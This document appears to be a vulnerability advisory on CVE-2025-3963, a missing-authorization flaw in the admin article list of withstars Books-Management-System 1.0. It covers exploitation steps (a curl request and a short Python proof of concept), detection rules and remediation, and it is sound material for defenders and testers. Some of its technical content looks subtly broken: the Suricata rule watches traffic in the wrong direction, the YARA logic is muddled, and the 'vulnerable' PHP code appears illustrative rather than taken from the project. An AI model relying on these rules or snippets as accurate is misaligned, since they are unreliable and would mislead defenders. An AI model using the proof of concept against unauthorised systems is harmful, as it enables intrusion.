CVE-2025-3963

Executive Summary

CVE-2025-3963 is a critical missing authorization vulnerability in the withstars Books-Management-System version 1.0. The flaw resides in the background interface at /admin/article/list, allowing an unauthenticated remote attacker to access administrative functions without proper credentials. The product is explicitly marked as end-of-life and unsupported by the maintainer, meaning no official patch will be released. Public exploit code has been disclosed, increasing the immediate risk to any remaining deployments.

This vulnerability is classified as CWE-862: Missing Authorization. The attack vector is network-based, requires no privileges, and no user interaction, making it trivial to exploit. Given the product’s unsupported status, the only effective remediation is decommissioning or isolating the affected system.

Supply Chain & Package Security

This is a standalone PHP/MySQL application, not an NPM, PyPI, Go, or Ruby package. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable with low complexity, and public exploit code exists. The product is unsupported, meaning no patches will be issued.

Deep Dive & Mechanics

The vulnerability is a classic Missing Authorization flaw in the background (admin) interface of the Books-Management-System. The endpoint /admin/article/list fails to verify whether the requesting user has administrative privileges. This allows any unauthenticated attacker to access the administrative article listing, and likely other admin functions, by simply sending a request to the vulnerable URL.

The root cause is the absence of an authentication check or session validation before serving the admin panel content. In a properly secured application, the /admin/ directory would be protected by a middleware or a check at the top of each admin script (e.g., if (!isset($_SESSION['admin'])) { header('Location: login.php'); exit; }). In this vulnerable version, that check is missing.

The attack is trivial: an attacker sends an HTTP GET request to http://target/admin/article/list and receives the admin interface without any login prompt.

Vulnerable vs. Patched Code

Vulnerable Code (Books-Management-System 1.0):

<?php
// /admin/article/list.php
// No authentication check
$articles = $db->query("SELECT * FROM articles");
foreach ($articles as $article) {
    echo "<tr><td>{$article['title']}</td></tr>";
}
?>

Patched Code (Hypothetical – no official patch exists):

<?php
// /admin/article/list.php
session_start();
if (!isset($_SESSION['admin']) || $_SESSION['admin'] !== true) {
    header('Location: /login.php');
    exit;
}
$articles = $db->query("SELECT * FROM articles");
foreach ($articles as $article) {
    echo "<tr><td>{$article['title']}</td></tr>";
}
?>

The patched version adds a session check at the top of the file. If the user is not authenticated as an admin, they are redirected to the login page. Since no official patch exists, this is a manual fix that must be applied by the administrator.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of withstars Books-Management-System 1.0.
• Network access to the target.

Exploitation Steps:

1. Identify the target URL (e.g., http://192.168.1.100/books-management-system/).
2. Send a direct HTTP GET request to the admin article list:

   curl -v http://192.168.1.100/books-management-system/admin/article/list
   

3. If the vulnerability exists, the server will return the admin article list HTML without requiring authentication.

Proof-of-Concept (PoC) Script:

import requests

target = "http://192.168.1.100/books-management-system/admin/article/list"
response = requests.get(target)

if response.status_code == 200 and "admin" in response.text.lower():
    print("[+] Vulnerability confirmed! Admin panel accessible.")
    print(response.text[:500])
else:
    print("[-] Target may be patched or not vulnerable.")

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for requests to /admin/article/list from IPs that have not previously authenticated.
2. Look for a high volume of 200 OK responses to /admin/ paths without preceding login attempts.
3. Check for anomalous user agents or patterns in access logs.

Response Actions:

1. Immediately isolate the affected server from the network.
2. Review logs for evidence of data exfiltration or unauthorized changes.
3. If the application must remain operational, apply the hypothetical patch above.
4. Decommission the application as soon as possible, as it is end-of-life.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_3963_Missing_Auth
{
    meta:
        description = "Detects vulnerable withstars Books-Management-System admin article list"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-3963"
    strings:
        $admin_path = "/admin/article/list"
        $vuln_code = "SELECT * FROM articles"
        $no_auth = "session_start" nocase
    condition:
        $admin_path and $vuln_code and not $no_auth
}

Sigma Rule

title: CVE-2025-3963 - Unauthenticated Access to Admin Article List
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to /admin/article/list without prior authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-stem: "/admin/article/list"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin users (should be rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-3963 - Unauthenticated Admin Article List Access";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/admin/article/list";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-3963;
)

Remediation & Mitigation

Immediate Actions:

1. Decommission the application – Since the product is end-of-life and unsupported, the only secure option is to remove it from production.
2. If decommissioning is not possible, apply the hypothetical patch by adding session authentication checks to all files under /admin/.
3. Restrict network access – Use a firewall or web application firewall (WAF) to block external access to /admin/ paths.
4. Monitor logs – Review access logs for any signs of exploitation.

Long-Term Recommendations:

• Migrate to a supported and actively maintained book management solution.
• Implement a vulnerability management program to identify and address end-of-life software.
• Enforce the principle of least privilege and require authentication for all administrative interfaces.

Valters IT